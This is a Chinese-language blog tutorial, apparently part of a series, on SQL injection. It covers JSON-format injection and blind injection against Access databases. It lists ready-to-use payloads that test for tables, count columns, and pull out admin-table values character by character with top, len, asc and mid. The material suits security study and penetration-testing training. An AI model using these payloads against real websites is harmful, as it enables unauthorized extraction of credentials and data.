【SQL注入-4】

在这里插入图片描述

非access数据库注入思路

在这里插入图片描述
高低权限
最终目的:网站权限
注意提交方法

json注入

1.介绍
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。
2.语法
数据在名称/值对中
数据由逗号分隔
大括号保存对象
中括号保存数组
3.JSON 值
数字(整数或浮点数) {“age”:30 }
字符串(在双引号中) {“uname”:“yang”}
逻辑值(true 或 false) {“flag”:true }
数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
对象(在大括号中)JSON 对象在大括号({})中书写:
null { “runoob”:null }

与其他注入不同的是数据的表达形式
在进行注入时需要注意到可以在JSON数据中插入元素的情况,从而通过JSON数据对业务非常关键的值执行恶意操作,严重的可能导致XSS和动态解析代码。

需要注意数据是否需要闭合 上图Dumb‘的单引号就是为了sql语句中的单引号。

access数据库
在这里插入图片描述

access数据库大多都是和asp脚本语言相连的
access数据库不存在跨站攻击的可能
注入语句和功能等存在区别

Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

函数
select len(“string”) 查询给定字符串的长度
select asc(“a”) 查询给定字符串的ascii值
top n 查询前n条记录
select mid(“string”,2,1) 查询给定字符串从指定索引开始的长度
mid(string,start,length) 这个用来截取字符串的
string是要截取的字符串
start是截取的字符串开始索引
length是要截取的字符串长度

access注入思路
1.access特有的表 msysobjects 所以可以用它来判断是否是Access数据库
2.判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破

and exists(select* from  admin)

3.猜测字段也是一样,只能通过枚举来猜测
判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列

and exists(select*from admin order by 10)

4.判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破

and exists(select name from admin)

5.猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据

and (select count(*) from information)>100

6.然后在猜测每个字段具体的数据了
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5
猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97 
从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55

SQL注入-其他数据库(Access、SQLserver、Oracle)
PostgreSQL注入总结
Sqlmap常用命令总结及注入实战(Access、mysql)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值